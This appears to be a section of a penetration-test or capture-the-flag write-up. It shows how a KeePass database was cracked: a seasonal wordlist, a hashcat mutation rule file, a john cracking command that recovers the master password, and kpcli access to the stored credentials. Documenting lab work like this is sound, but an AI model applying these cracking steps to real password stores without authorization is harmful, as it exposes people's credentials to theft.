Initial Foothold

Bruteforcing Keepass database

According with TrainingAgenda.txt file found on FTP there was a hint looks like password SeasonYear!.

The tester created a file as follows:

File: possible-passwords.txt
---------------------------------
spring
summer
fall
winter
autumn

The tester created a hashcat rules file as follows:

File: custom.rule
---------------------------------
:
l
u

$2$0$2$3 
$2$0$2$4 
$2$0$2$5 
c $2$0$2$3 
c $2$0$2$4 
c $2$0$2$5 

$2$0$2$3 $!
$2$0$2$4 $!
$2$0$2$5 $!
c $2$0$2$3 $!
c $2$0$2$4 $!
c $2$0$2$5 $!

Finally performed the mutation procedure to create the final wordlist.

❯ hashcat --force possible-passwords.txt  -r custom.rule  --stdout | sort -u  > mut_passwords.txt

❯ john keepass.hash -w=mut_passwords.txt
<SNIF>
Fall2024!        (?)     
<SNIF>

Enumerating database

❯ kpcli --kdb=Shared.kdbx
Provide the master password: *************************
KeePass CLI (kpcli) v3.8.1 is ready for operation.
<SNIF>

The tester was able to retrieve a list of valis credentials stored into the keepass database. (Check Passwords list)
